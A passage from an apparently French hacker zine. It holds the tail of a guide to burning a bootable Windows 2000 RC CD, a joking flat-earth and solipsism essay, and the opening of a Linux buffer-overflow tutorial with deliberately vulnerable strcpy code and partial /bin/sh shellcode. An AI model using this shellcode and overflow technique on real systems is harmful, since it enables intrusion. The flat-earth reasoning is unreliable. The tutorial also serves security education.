PSXDLL.DL_, PSXSS.EX_, PTILINK.SY_, PUBPRN.VB_, PWRMN.CH_,
PWRMN.HL_, PWS.EX_, PWSDATA.DL_, PWSTRAY.EX_, PYIME.CA_,
QCAP.DL_, QCUT.DL_, QDV.DL_, QDVD.DL_, QL1080.SY_,
QL10WNT.SY_, QL1240.SY_, QL2100.SY_, QOSNAME.DL_, QUARTZ.DL_,
QUATTRO.WB_, QUERY.DL_, QUOTES._, RADD5018.IC_, RAINBOW.AN_,
RAINDROP.AN_, RAPILIB.DL_, RASACD.SY_, RASADHLP.DL_, RASADMIN.EX_,
RASAPI32.DL_, RASAUTH.DL_, RASAUTO.DL_, RASAUTOU.EX_, RASCHAP.DL_,
RASCTRNM.H_, RASCTRS.DL_, RASCTRS.IN_, RASDIAL.EX_, RASDLG.DL_,
RASGPRXY.DL_, RASGTWY.DL_, RASIRDA.SY_, RASL2TP.SY_, RASMAN.DL_,
RASMANS.DL_, RASMONTR.DL_, RASMXS.DL_, RASPHONE.EX_, RASPPP.DL_,
RASPPTP.SY_, RASPTI.SY_, RASRAD.DL_, RASSAPI.DL_, RASSAUTH.DL_,
RASSCRPT.DL_, RASSER.DL_, RASTAPI.DL_, RASTLS.DL_, RATINGS.CH_,
RATINGS.CN_, RATINGS.HL_, RAWWAN.SY_, RCA.IN_, RCAMSP.DL_,
RCP.EX_, RDBSS.SY_, READER.CH_, READER.HL_, RECOVER.EX_,
RECYCLE.CH_, RECYCLE.WA_, REDIR.EX_, REGAPI.DL_, REGEDIT.CH_,
REGEDIT.EXE, REGEDIT.HL_, REGEDT32.CH_, REGEDT32.EX_, REGEDT32.HL_,
REGEVENT.MO_, REGISTRY.IN_, REGOPT.CH_, REGSVC.EX_, REGSVR32.EX_,
REGWIZ.EX_, REGWIZC.DL_, RELATED.HT_, REMINST.IN_, REMOTESP.TS_,
REND.DL_, REPLACE.EX_, RESUTILS.DL_, REXEC.EX_, RHODY.BM_,
RICHED20.DL_, RICHED32.DL_, RINGIN.WA_, RINGOUT.WA_, RINORPRT.SI_,
RISTNDRD.SI_, RMVV1.IN_, RMVV2.IN_, RNR20.DL_, ROMAN.FO_,
ROOTMDM.SY_, ROUTE.EX_, ROUTEEXT.DL_, ROUTEMON.EX_, ROUTETAB.DL_,
RPCNS4.DL_, RPCPROXY.DL_, RPCREF.DL_, RPCRT4.DL_, RPCSS.DL_,
RRCM.DL_, RS322.CF_, RSABASE.DLL, RSACI.RA_, RSFSAPS.DL_,
RSH.EX_, RSHX32.DL_, RSM.EX_, RSM.HL_, RSM.IN_,
RSMCON_W.CH_, RSM_W.CH_, RSNOTIFY.EX_, RSTORAGE.IN_, RSVP.EX_,
RSVP.IN_, RSVPCNTS.H_, RSVPMSG.DL_, RSVPPERF.DL_, RSVPSP.DL_,
RTIPXMIB.DL_, RTM.DL_, RTUMEXT.DL_, RTUTILS.DL_, RUNAS.EX_,
RUNDLL32.EX_, RUNONCE.EX_, RVRSUMID.BM_, S3SAV3D.IN_, S3SAV4.IN_,
S3TRIO3D.IN_, SAM.CF_, SAM.VC_, SAMLIB.DL_, SAMSRV.DL_,
SANTAFE.BM_, SAVEDUMP.EX_, SBP2.IN_, SBP2PORT.SY_, SCARDDLG.DL_,
SCARDDLG.HL_, SCARDSSP.DL_, SCARDSVR.EX_, SCECLI.DL_, SCECON_W.CH_,
SCEREGVL.IN_, SCESRV.DL_, SCE_W.CH_, SCHANNEL.DLL, SCLGNTFY.DL_,
SCMCON_W.CH_, SCM_W.CH_, SCRCONS.EX_, SCRCONS.MO_, SCRDBCAT.CA_,
SCRIPT.FO_, SCRIPTO.DL_, SCRNSAVE.SC_, SCROBJ.DL_, SCRRUN.DL_,
SCSCON_W.CH_, SCSI.IN_, SCSIDEV.IN_, SCSIPORT.SY_, SC_W.CH_,
SDPBLB.DL_, SECAUTH.HL_, SECEDIT.CH_, SECEDIT.EX_, SECLOGON.DL_,
SECPOL.MS_, SECRCW32.DL_, SECRCW32.MF_, SECRCW32.MO_, SECSET_W.CH_,
SECUR32.DL_, SECUREDC.IN_, SECUREWS.IN_, SECURITY.DL_, SECURI~1.CL_,
SECURI~2.CL_, SECURI~3.CL_, SEFILSHR.DL_, SENDCMSG.CH_, SENDCMSG.DL_,
SENDMAIL.DL_, SENS.DL_, SENSAPI.DL_, SENSCFG.DL_, SERE1257.FO_,
SERENUM.SY_, SERF1257.FO_, SERIAL.SY_, SERIALUI.DL_, SERIFE.FO_,
SERIFEE.FO_, SERIFEG.FO_, SERIFER.FO_, SERIFET.FO_, SERIFF.FO_,
SERIFFE.FO_, SERIFFG.FO_, SERIFFR.FO_, SERIFFT.FO_, SERVDEPS.DL_,
SERVICES.EX_, SERVICES.MS_, SERVICES._, SERWVDRV.DL_, SETHC.EX_,
SETPATHS.CM_, SETREG.EX_, SETUP.EX_, SETUP16.IN_, SETUP50.EX_,
SETUPACC.TXT, SETUPAPI.DL_, SETUPDD.SY_, SETUPDLL.DL_, SETUPLDR.BIN
SETUPLDR.EX_, SETUPP.INI, SETUPQRY.DL_, SETUPQRY.IN_, SETUPREG.HIV
SETUP_W.BM_, SETVER.EX_, SFC.DL_, SFC.EX_, SFCFILES.DL_,
SFLOPPY.SY_, SFMAPI.DL_, SFMATALK.SY_, SFMATMSG.DL_, SFMMGR.HL_,
SFMMON.DL_, SFMPSPRT.DL_, SFMWSHAT.DL_, SGIBVID.DL_, SGIU.IN_,
SGLFB.DLL, SGLFB.SYS, SHARE.EX_, SHARED~1.CL_, SHDOCLC.DL_,
SHDOCVW.DL_, SHELL.DL_, SHELL.HL_, SHELL.IN_, SHELL32.DL_,
SHFOLDER.DL_, SHIFTJIS.UC_, SHIMGVW.DL_, SHLWAPI.DL_, SHMGRATE.EX_,
SHRPUBW.EX_, SHSCRAP.DL_, SIGNIN.HL_, SIGTAB.DL_, SIGVERIF.EX_,
SIGVERIF.HL_, SIMPTCP.DL_, SIS300.IN_, SIS6306.IN_, SISBKUP.DL_,
SISV6326.IN_, SIZE1_I.CU_, SIZE1_IL.CU_, SIZE1_IM.CU_, SIZE1_L.CU_,
SIZE1_M.CU_, SIZE1_R.CU_, SIZE1_RL.CU_, SIZE1_RM.CU_, SIZE2_I.CU_,
SIZE2_IL.CU_, SIZE2_IM.CU_, SIZE2_L.CU_, SIZE2_M.CU_, SIZE2_R.CU_,
SIZE2_RL.CU_, SIZE2_RM.CU_, SIZE3_I.CU_, SIZE3_IL.CU_, SIZE3_IM.CU_,
SIZE3_L.CU_, SIZE3_M.CU_, SIZE3_R.CU_, SIZE3_RL.CU_, SIZE3_RM.CU_,
SIZE4_I.CU_, SIZE4_IL.CU_, SIZE4_IM.CU_, SIZE4_L.CU_, SIZE4_M.CU_,
SIZE4_R.CU_, SIZE4_RL.CU_, SIZE4_RM.CU_, SIZENESW.AN_, SIZENS.AN_,
SIZENWSE.AN_, SIZEWE.AN_, SKDLL.DL_, SKEYS.EX_, SLBCSP.DL_,
SLBKYGEN.DL_, SLBRSRC.DL_, SLIP.SC_, SLIPMENU.SC_, SM9232.DL_,
SM9332.DL_, SMAE1257.FO_, SMAF1257.FO_, SMALLE.FO_, SMALLEE.FO_,
SMALLEG.FO_, SMALLER.FO_, SMALLET.FO_, SMALLF.FO_, SMALLFE.FO_,
SMALLFG.FO_, SMALLFR.FO_, SMALLFT.FO_, SMARTCRD.IN_, SMCLIB.SY_,
SMI.MI_, SMLOGCFG.DL_, SMLOGSVC.EX_, SMLOG_W.CH_, SMSS.EX_,
SMTPCONS.DL_, SMTPCONS.MO_, SNDBLST.DL_, SNDBLST.SY_, SNDREC.WA_,
SNDREC32.EX_, SNDVOL32.CH_, SNDVOL32.EX_, SNDVOL32.HL_, SNMP.EX_,
SNMPAPI.DL_, SNMPMIB.DL_, SNMPSNAP.DL_, SNMPSNAP.HL_, SNMPTRAP.EX_,
SNMP_,.CH_, SOFTPUB.DL_, SOL.CH_, SOL.EX_, SOL.HL_,
SORT.EX_, SORTKEY.NL_, SORTTBLS.NL_, SOUND.DR_, SOUND1.WA_,
SOUND104.WA_, SOUND105.WA_, SOUND108.WA_, SOUND111.WA_, SOUND112.WA_,
SOUND12.WA_, SOUND13.WA_, SOUND131.WA_, SOUND136.WA_, SOUND14.WA_,
SOUND16.WA_, SOUND17.WA_, SOUND18.WA_, SOUND181.WA_, SOUND19.WA_,
SOUND20.WA_, SOUND21.WA_, SOUND22.WA_, SOUND24.WA_, SOUND240.WA_,
SOUND243.WA_, SOUND25.WA_, SOUND26.WA_, SOUND27.WA_, SOUND28.WA_,
SOUND29.WA_, SOUND3.WA_, SOUND30.WA_, SOUND34.WA_, SOUND35.WA_,
SOUND36.WA_, SOUND38.WA_, SOUND39.WA_, SOUND4.WA_, SOUND42.WA_,
SOUND43.WA_, SOUND45.WA_, SOUND49.WA_, SOUND49D.WA_, SOUND5.WA_,
SOUND50.WA_, SOUND528.WA_, SOUND53.WA_, SOUND54.WA_, SOUND55.WA_,
SOUND560.WA_, SOUND563.WA_, SOUND57.WA_, SOUND58.WA_, SOUND6.WA_,
SOUND65.WA_, SOUND68.WA_, SOUND7.WA_, SOUND713.WA_, SOUND735.WA_,
SOUND8.WA_, SOUND827.WA_, SOUND9.WA_, SOUND999.WA_, SOUNDREC.CH_,
SOUNDREC.HL_, SOUNDS.CH_, SPARROW.SY_, SPCHAPI.IN_, SPCHTEL.DL_,
SPCMDCON.SYS, SPCON_W.CH_, SPDDLANG.SY_, SPEECH.CN_, SPEECH.DL_,
SPEECH.HL_, SPLASH.CH_, SPOOLSS.DL_, SPOOLSV.EX_, SPRESTRT.EX_,
SPUD.SY_, SPX.IN_, SPXCOINS.DL_, SPXPORTS.IN_, SQLOLEDB.DL_,
SQLSODBC.HL_, SQLSOLDB.HL_, SQLSRV32.DL_, SQLSTR.DL_, SQLWID.DL_,
SQLWOA.DL_, SRV.SY_, SRVSVC.DL_, SS3DFO.SC_, SSBEZIER.SC_,
SSEE1257.FO_, SSEF1257.FO_, SSERIFE.FO_, SSERIFEE.FO_, SSERIFEG.FO_,
SSERIFER.FO_, SSERIFET.FO_, SSERIFF.FO_, SSERIFFE.FO_, SSERIFFG.FO_,
SSERIFFR.FO_, SSERIFFT.FO_, SSFLWBOX.SC_, SSINC.DL_, SSMARQUE.SC_,
SSMAZE.SC_, SSMYST.SC_, SSPIFILT.DL_, SSPIPES.SC_, SSSTARS.SC_,
SSTEXT3D.SC_, STALPORT.IN_, START.WA_, STARTROM.CO_, STARTROM.N1_,
STATE.IC_, STATUS.DL_, STAXMEM.DL_, STCLIENT.DL_, STDOLE.TL_,
STDOLE2.TL_, STDOLE32.TL_, STDPROV.DL_, STI.DL_, STI.IN_,
STICPL.CP_, STILLCAM.IN_, STIMON.EX_, STISVC.EX_, STI_BI.DL_,
STOBJECT.DL_, STOPWTCH.AN_, STORAGE.DL_, STREAMCI.DL_, STREAMS.SY_,
STRMDLL.DL_, SUBRANGE.UC_, SUBROUTN.IN_, SUBST.EX_, SUNBANNA.GI_,
SUNFBKG.JP_, SUNFLOWR.HT_, SUPPORT.IC_, SUPP_ED.CH_, SVCEXT.DL_,
SVCHOST.EX_, SVCPACK.DL_, SVCPACK.IN_, SWEETS.HT_, SWEETSBG.GI_,
SWITCH.IN_, SWNT.IN_, SWTCHBRD.BM_, SXBBIOS.BI_, SXBFEP.BI_,
SYLFAEN.TT_, SYMBOL.TT_, SYMBOLE.FO_, SYMBOLF.FO_, SYMC810.SY_,
SYMC8XX.SY_, SYM_HI.SY_, SYNCAPP.EX_, SYNCENG.DL_, SYNCUI.DL_,
SYNTH.DL_, SYNTH.PA_, SYNTH.SY_, SYSDM.CH_, SYSDM.CP_,
SYSDM.HL_, SYSEDIT.EX_, SYSINV.DL_, SYSKEY.EX_, SYSMON.HL_,
SYSMON.OC_, SYSMON_W.CH_, SYSOC.IN_, SYSOCMGR.EX_, SYSPRINT.SE_,
SYSPROP.CH_, SYSPRTJ.SE_, SYSSETUP.DL_, SYSSETUP.IN_, SYSTEM.AD_,
SYSTEM.DR_, SYSTEM.IN_, SYSTEM.MD_, SYSTRAY.EX_,
SYS_SRV.CH_, SYS_SRV.HL_, T2EMBED.DL_, TABLE.BM_, TADA.WA_,
TAHOMA.TT_, TAHOMABD.TT_, TAPE.IN_, TAPE.SY_, TAPI.CH_,
TAPI.DL_, TAPI.HL_, TAPI3.DL_, TAPI32.DL_, TAPIPERF.DL_,
TAPISRV.DL_, TAPIUI.DL_, TASKMAN.EX_, TASKMGR.CH_, TASKMGR.EX_,
TASKMGR.HL_, TCARC.SY_, TCLASSES.CA_, TCLASSES.CE_, TCLASSES.ZI_,
TCMSETUP.EX_, TCPIP.CH_, TCPIP.SY_, TCPMIB.DL_, TCPMON.DL_,
TCPMON.HL_, TCPMON.IN_, TCPMONUI.DL_, TCPSVCS.EX_, TDC.OC_,
TDI.SY_, TECH.GI_, TECH.HT_, TELEPHON.CP_, TELNET.EXE
TELNET.HL_, TELNET_W.CH_, TERMCAP._, TERMMGR.DL_, TESTSND.WA_,
TE_PROT.P_, TE_PROT.SY_, TFFSPORT.SY_, TFTP.EX_, TFTPD.EX_,
TG18D50.IC_, TG18D65.IC_, TG18D93.IC_, TG22D50.IC_, TG22D65.IC_,
TG22D93.IC_, TGIU.IN_, THEMES.EX_, THUMBVW.DL_, TIFFLT.DL_,
TIMEDATE.CP_, TIMER.DR_, TIMES.TT_, TIMESBD.TT_, TIMESBI.TT_,
TIMESI.TT_, TIP.HT_, TIPS.GI_, TLNTADMN.EX_, TLNTSESS.EX_,
TLNTSVR.EX_, TLNTSVRP.DL_, TOOLHELP.DL_, TOOLS.DL_, TRACE.DL_,
TRACERT.EX_, TRAFFIC.DL_, TRANSA~1.CL_, TREBUC.TT_, TREBUCBD.TT_,
TREBUCBI.TT_, TREBUCIT.TT_, TREE.CO_, TRIALOC.DL_, TRID3D.IN_,
TRIDENT.SY_, TRIDKB.IN_, TRIEDIT.DL_, TRKWKS.DL_, TROUBL_W.CH_,
TSBVCAP.IN_, TSD32.DL_, TSHOOT.CH_, TSHOOT.HL_, TSHOOT.IN_,
TSHOOT.OC_, TSHOOT_W.CH_, TSLABELS.H_, TSLABELS.IN_, TSSOFT32.AC_,
TUNES.BM_, TWAIN.DL_, TWAIN_32.DL_, TWUNK_16.EX_, TWUNK_32.EX_,
TXFAUX.DL_, TXFLOG.DL_, TXTSETUP.SIF, TYPELIB.DL_, UDFS.SY_,
UFAT.DL_, UGENUSD.DL_, UHCD.SY_, ULIB.DL_, ULTRA66.SY_,
UMANDLG.DL_, UMAX.IN_, UMDMXFRM.DL_, UMPNPMGR.DL_, UNATTEND.TXT
UNICODE.NL_, UNIMDM.TS_, UNIMDMAT.DL_, UNIPLAT.DL_,
UNKNOWN.IN_, UNLODCTR.EX_, UNREGMP2.EX_, UNSECAPP.EX_, UNTFS.DL_,
UPDATE.CN_, UPDATE.SY_, UPS.EX_, UPWIZUN.CH_, UPWIZUN.EX_,
UP_I.CU_, UP_IL.CU_, UP_IM.CU_, UP_L.CU_, UP_M.CU_,
UP_R.CU_, UP_RL.CU_, UP_RM.CU_, UREG.DL_, URGENT.CO_,
URL.DL_, URLMON.DL_, USB.IN_, USBD.SY_, USBHUB.SY_,
USBMON.DL_, USBPRINT.IN_, USBSTOR.IN_, USBSTOR.SY_, USER.EX_,
USER32.DL_, USERCPL.CH_, USERENV.DL_, USERINIT.EX_, USERMIG.IN_,
USERS.HL_, USETUP.EXE, USP10.DL_, UTILDLL.DL_, UTILMAN.EX_,
UTILMGR.CH_, UTILMGR.HL_, UTOPIAAS.WA_, UTOPIACL.WA_, UTOPIACR.WA_,
UTOPIADE.WA_, UTOPIAER.WA_, UTOPIAEX.WA_, UTOPIAMA.WA_, UTOPIAME.WA_,
UTOPIAMI.WA_, UTOPIAOP.WA_, UTOPIAQU.WA_, UTOPIARE.WA_, UTOPIAWI.WA_,
UTOPIA~1.WA_, UTOPIA~2.WA_, UTOPIA~3.WA_, UTOPIA~4.WA_, V7VGA.RO_,
VANISHER.AN_, VBAJET32.DL_, VBSCRIPT.DL_, VCAUTO.TL_, VCDEX.DL_,
VCMD.EX_, VCMSHL.DL_, VDICT.DL_, VDMDBG.DL_, VDMREDIR.DL_,
VER.DL_, VERDANA.TT_, VERDANAB.TT_, VERDANAI.TT_, VERDANAZ.TT_,
VERIFIER.EX_, VERISIGN.BM_, VERSION.DL_, VFPODBC.DL_, VGA.DL_,
VGA.DR_, VGA.SY_, VGA256.DL_, VGA64K.DL_, VGA737.FO_,
VGA775.FO_, VGA850.FO_, VGA852.FO_, VGA855.FO_, VGA857.FO_,
VGA860.FO_, VGA861.FO_, VGA863.FO_, VGA865.FO_, VGA866.FO_,
VGA869.FO_, VGAF1257.FO_, VGAFIX.FO_, VGAFIXE.FO_, VGAFIXG.FO_,
VGAFIXR.FO_, VGAFIXT.FO_, VGAOEM.FO_, VGAS1257.FO_, VGASYS.FO_,
VGASYSE.FO_, VGASYSG.FO_, VGASYSR.FO_, VGASYST.FO_, VGX.DL_,
VIDEOPRT.SY_, VIEWPROV.DL_, VJOY.DL_, VMHELPER.DL_, VMMREG32.DL_,
VOLUME.IN_, VOODOO3.IN_, VOXMSDEC.AX_, VOXMVDEC.AX_, VTEXT.DL_,
VTXTAUTO.TL_, VWIPXSPX.DL_, VWIPXSPX.EX_, W32TIME.DL_, W32TM.EX_,
W32TOPL.DL_, W3CTRS.DL_, W3CTRS.IN_, W3EXT.DL_, W3SCFG.DL_,
W3SVAPI.DL_, W3SVC.DL_, W95UPGNT.DL_, WAB.CH_, WAB.EX_,
WAB.HL_, WAB32.DL_, WAB32RES.DL_, WAB50.IN_, WABFIND.DL_,
WABIMP.DL_, WABMIG.EX_, WAGTAIL.AN_, WAIT_I.CU_, WAIT_IL.CU_,
WAIT_IM.CU_, WAIT_L.CU_, WAIT_M.CU_, WAIT_R.CU_, WAIT_RL.CU_,
WAIT_RM.CU_, WAM.DL_, WAMPS.DL_, WAMREG.DL_, WAMREGPS.DL_,
WANARP.SY_, WANGIMG.EX_, WANMGFR.IN_, WANMGS.IN_, WAVE.IN_,
WAVEMIX.INF, WAVEMSP.DL_, WB32.EX_, WBCACHE.DE_, WBCACHE.EN_,
WBCACHE.ES_, WBCACHE.FR_, WBCACHE.IT_, WBCACHE.NL_, WBCACHE.SV_,
WBDBASE.DE_, WBDBASE.EN_, WBDBASE.ES_, WBDBASE.FR_, WBDBASE.IT_,
WBDBASE.NL_, WBDBASE.SV_, WBEMADS.DL_, WBEMADS.TL_, WBEMCNTL.DL_,
WBEMCOMN.DL_, WBEMCORE.DL_, WBEMDISP.DL_, WBEMDISP.TL_, WBEMESS.DL_,
WBEMNT5.IN_, WBEMPERF.DL_, WBEMPERF.MO_, WBEMPERM.EX_, WBEMPROX.DL_,
WBEMSNMP.EX_, WBEMSVC.DL_, WBEMTEST.EX_, WBEMUPGD.DL_, WBFIRDMA.IN_,
WDL.TR_, WDMA10K1.IN_, WDMAUDIO.IN_, WDMA_ADI.IN_, WDMA_AUR.IN_,
WDMA_AVA.IN_, WDMA_AZT.IN_, WDMA_BSC.IN_, WDMA_BSF.IN_, WDMA_BTL.IN_,
WDMA_ENS.IN_, WDMA_ES2.IN_, WDMA_ESS.IN_, WDMA_INT.IN_, WDMA_NE2.IN_,
WDMA_NEO.IN_, WDMA_USB.IN_, WDMA_WSS.IN_, WDMA_YM2.IN_, WDMA_YMH.IN_,
WDMJOY.IN_, WEBCHECK.DL_, WEBDINGS.TT_, WEBFLDRS.MS_, WEBFOLDR.CH_,
WEBHELP.CH_, WEBHITS.DL_, WEBVW.DL_, WELCOME.EX_, WELCOME.IN_,
WELCOME.OS_, WEXTRACT.EX_, WEX_AXP.EX_, WFC.CA_, WFC.CE_,
WFC.ZI_, WFOSPF.MI_, WFWNET.DR_, WHATSNEW.CH_, WHERE_98.CH_,
WHERE_NW.CH_, WHOWHERE.BM_, WIFEMAN.DL_, WIN.CAB, WIN.CO_,
WIN.IN_, WIN32SPL.DL_, WIN87EM.DL_,
WINCHAT.CH_, WINCHAT.EX_, WINCHAT.HL_, WINDOWS.CN_, WINDOWS.HL_,
WINDOW_W.CH_, WIND_W.CH_, WINFAX.DL_, WINGDING.TT_, WINHELP.EX_,
WINHELP.HL_, WINHLP32.CN_, WINHLP32.EX_, WINHLP32.HL_, WINHSTB.EX_,
WININET.DL_, WININSTL.CH_, WINLOGON.EX_, WINMGMT.EX_, WINMGMTR.DL_,
WINMINE.CH_, WINMINE.EX_, WINMINE.HL_, WINMM.DL_, WINMSD.EX_,
WINNLS.DL_, WINNT.BM_, WINNT.EXE, WINNT256.BM_, WINNT32.EXE
WINNT32.HLP, WINNT32.MSI, WINNT32A.DLL, WINNT32U.DLL,
WINOLDAP.MO_, WINREP.EX_, WINRNR.DL_, WINS.MI_, WINSCARD.DL_,
WINSMON.DL_, WINSOCK.DL_, WINSPOOL.DR_, WINSPOOL.EX_, WINSTA.DL_,
WINSTRM.DL_, WINSYS.CAB, WINSYS32.CAB, WINTRUST.DL_, WINVER.EX_,
WINWORD.DO_, WINWORD2.DO_, WIN_BOS.CH_, WJVIEW.EX_, WKSSVC.DL_,
WKSTAMIG.IN_, WLDAP32.DL_, WLNOTIFY.DL_, WMI.DL_, WMI.MO_,
WMICORE.DL_, WMILIB.SY_, WMIMGMT.MS_, WMIPROV.DL_, WMP.AD_,
WORDPAD.CH_, WORDPAD.EX_, WORDPAD.HL_, WORDPAD.IN_, WORDPFCT.WPD
WORDPFCT.WPG, WOW32.DL_, WOWDEB.EX_, WOWEXEC.EX_, WPNPINST.EX_,
WRAPSAPI.DL_, WRITE.EX_, WRITE32.WP_, WS2HELP.DL_, WS2IFSL.SY_,
WS2_32.DL_, WSCRIPT.CH_, WSCRIPT.EX_, WSCRIPT.HL_, WSECEDIT.DL_,
WSECEDIT.HL_, WSH.INF, WSHATM.DL_, WSHEXT.DL_, WSHIRDA.DL_,
WSHISN.DL_, WSHNETBS.DL_, WSHOM.OC_, WSHTCPIP.DL_, WSNMP32.DL_,
WSOCK32.DL_, WTSAPI32.DL_, WTTSS22.DL_, WUICON1.GI_, WUICON2.GI_,
WUICON3.GI_, WULOGO.GI_, WUM.HT_, WUPDINFO.DL_, WUPDMGR.EX_,
XACTSRV.DL_, XCOMMAND.DL_, XCOPY.EX_, XENROLL.DL_, XIFFR3_0.DL_,
XJIS.NL_, XLISTEN.DL_, XMLDSO.CAB, XMLDSOC.CA_, XOLEHLP.DL_,
XRDT1354.PP_, XR_BC230.PP_, XTEL.DL_, XVOICE.DL_, YAHOO.BM_,
ZAPOTEC.BM_, _BEFAULT.PI et les répertoires COMPDATA, LANG,
SYSTEM32, UNIPROC, WIN9XMIG, WIN9XUPG et WINNTUPG dans le
répertoire C:\WIN2000\i386
3: Dans notepad.exe, créez un fichier qui dit 'Allô maman' et
sauvegardez le sous C:\WIN2000\CDROM_IP.5
4: Maintenant vous pouvez starter CDRWin. Suivez ce cheminement:
Cliquez sur l'icone File Backup and Tools
Function: Record Directories/Files directly to an ISO9660 Disc (on the fly)
Directory Pathname: C:\WIN2000
Directory Options:
Recurse Subdirectories à ON
Include Hidden Files à ON
Check Directory Depth à OFF
Include System Files à ON
Include Archive Files Only à OFF
ISO9660 Options:
Long Filenames (Joliet) à ON
Disable Version Numbers à ON
Disable DOS Compatibility à OFF
Advanced Options:
Bootable Disc:
Make Bootable Disc à ON
Media Emulation Type à CUSTOM
Image File Name: C:\ZINES\IGA13\NT4BOOT.BIN
Developer Name: Microsoft Corporation
Load Segment: 07C0
Load Sector Count: 4
Recording Options:
Disc Type: CDROM
Track Mode: MODE1
Finalize Session à ON
Write Postgap à ON
Open New Session à OFF
Test Mode à OFF
START
Pour graver un CD bootable de Windows 2000 RC3 Pro, la recette est
exactement la même sauf que y'a ptet quelques fichiers de plus ou
de moins.
Pour graver un CD bootable de Windows 2000 RC2/RC3 Server, renommez
le fichier CDROM_IP.5 à CDROM_IS.5
Pour graver un CD bootable de Windows 2000 RC2/RC3 Advanced Server,
ben je l'ai jamais fait c'est soit CDROM_IS.5 ou CDROM_IA.5 :) Je
gagerais sur le premier personellement, si vous pouvez me confirmer
ca vnez m'en parler sur IRC.
Ensuite pour booter le cd oubliez pas de changer le Boot Sequence dans
votre BIOS, sinon aucune chance :-)
.
: ;
: '
; Qderf.2k :
| :
|_________________________________________________________________________________|
===================================================================================================
Pub-O-sticker
Le dormeur se reveillera
===================================================================================================
,---------------------------------------------------------------------------------,
| [013] |
| De la rotonditer de la terre |
: so called :
; ya de quoi qui tourne pas rond :
, .
.
La terre est ronde, tout le monde sais ca. Mais si ce n`etais pas vrai ?
si la terre etais en fait plate mais ronde ou le pole nord s`erait au
millieu et le pole sud occuperais le tour de ce rond. Bien sur je vous vois venir
avec vos loi de la physique qui prouvent que la terre est ronde, mais c`est loi
ne sont telle le fruit de la perception de l`etre humain? nous avons concus
des loi de la physique qui parte du principe de notre perception, nous percevons
que la terre est une sphere, nous partons donc de la pour etablir des loi qui
explique les phenomenes que nous vivont. Donc les loi que nous avons
etablie serait totalement fausse si la terre etais plate, car elle decoullerais
de loi a partir d`une base plate, mais elle se trouve vrai celon notre perception
des choses. si nous avions percu la terre plate comme elle l`est p-e
reelement, nous aurions etablie nos loi de la physique dans se sens. Nos loi sont
donc etablie celon notre point de vue que nous croyons vrai, mais qui ne l`est
peu etre pas.
comment expliquer que le mat d`un bateau apparait toujours en premier
alors? et bien il ne sagit peu etre que d`une illusion d`optique qui decoulerais
des loi de la physique d`un monde plat. Pourquoi feson nous le tour alors, et
bien il se pourrais que nous ne nous rendion pas compte que nous tournions en
2d au lieu de 3d dans un axe de 360 degres. Le pole nord serai alors le millieu
et le pole sud marquerais le tour du monde, (enfin, avoir fait un monde plat
jaurais fait des rebord pour garder l`eau a l`interieur, pas vous ? ). la
notion de distance devant etre totalement illusoir, ne decoulant que de notre
perception fausser, Bien sur c`est explication peuve vous s`embler illogique,
mais toute votre logique est baser sur ce que vous percever. Ainsi donc,
vous ne pouvez aucunement prouvez que j`ai tord. Bien sur dautre theorie sur ca
forme disant quelle pourrais etre hexagonal sont totalement fausse et
stupide puisqu`ìl est prouver que la terre est bien ronde ( en 2d ou en 3d, )
mais ronde. bien sur, il se pourrait encore que ca ne soit finalement du a notre
perception.peu-etre meme suis-je le seul a exister, et vous n`exister que lorsque
je vous vois , vous croise, et vous disparaisser aussitot que vous sorter
de mon champ de percepetion, p-e suis-je dieu, et je me suis inventer un monde
pour me desennuyer et ca aussi vous ne pourrez jamais prouvez que ce n`est pas
vrai, puisque en theorie, vous nexistez meme pas. Donc vous ne penser pas (je
pense donc je suis, disait descartes) mais il se pourrais bien que je ne
fasse que m`imaginer que vous pensee et emeter des opinions. Mais bon,
si cen est ainsi, vous ne lisez pas vraiment se text, vous en aurez
tout simplement concience, lorsque j`aurais envie d`en discuter avec quelqu`un,
mais vous croirez l`avoir reelement lu, pour ajouter au realisme, quelle
meilleur menteur que quelqu`un qui croit dire la veriter. En fait, p-e moi meme
ne me rend meme pas compte que vous netes pas reel, et que je crois aussi
fort que vous que vous existez reelement et que ce n`est que tout
dernierement que jai theoriser la veriter, mais bien sur, vous allez surement
me prendre pour un fou, puisque cette realiter en laquelle je crois n`est plus
la meme que celle qui simpose a votre perception.
.
: ;
: '
; Wyzeman.buzz :
| :
|_________________________________________________________________________________|
===================================================================================================
Pub-O-sticker
zip mon chien
===================================================================================================
,---------------------------------------------------------------------------------,
| [014] |
| buffer overflow 2.1 |
: so called :
; un autre article a suivre :
, .
.
Si vous êtes un lecteur habitué des zines IGA et bien vous vous demandez probablement
pourquoi un autre article sur les buffer overflows il y en n'a déjà eu dans le zines précédents.
Eh bien les autres articles on surtout été axée sur windoze donc j'ai eu envie d'en faire un pour
linux .
Commençons par ce que vous devez savoir avant de continuer
(pas obliger mais ca facilite la tâche) :
- vous devez avoir lu le texte de __2 (#10) et de _rix(#11) sur les buffer overflow
ce que vous avez probablement déjà fait vu votre admiration pour les zines IGA
- connaitre le C et l'assembleur
- un peu de connaissances Linux
- une tête sur les épaules
Ce texte n'expliqueras pas en détails exactement quoi faire mais donneras des exemples sur
certain techniques pour aider a exploiter des buffers overflows sous linux. Vous n'avez qu'a
expérimenter par vous mêmes pour apprendre le reste.
1-Comment passer le filtrage
Certains programmes sous linux utilise dans leur code pour prévenir les buffers overflow une
technique qui consiste a filtrer certains caractères ou qui les remplaces par d'autres
afin de rendre plus compliquer la réalisation de votre plan démoniaque qui est le
"stack smashing".
Voici un exemple de code de filtrage qui convertit les minuscules en majuscules
( vraiment basic )
--- snip --------------------------------------------------
#include<string.h>
#include<ctype.h>
int main(int argc,int **argv)
{
char buffer[1024];
int i;
if(argc>1)
{
for(i=0;i<strlen(argv[1]);i++)
argv[1][i]=toupper(argv[1][i]);
strcpy(buffer,argv[1]);
}
}
--- snip --------------------------------------------------
La vous vous demandez mais quest que ca fou si ca filtre les caractères?? Eh bien dans ce cas
si ca veut dire que vous ne pourrez pas marquer "/bin/sh" ou utiliser des minuscules
dans votre code car ca se ferait filtrer. Mais comment passer au travers du filtre sans se
se faire filtrer ! hum...
Je pense que c'est le temps d'un autres exemple!
------------code shell normal ----------------------------------------
char codeshell[]=
"\xeb\x1f" /* jmp 0x1f */
"\x5e" /* popl %esi */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
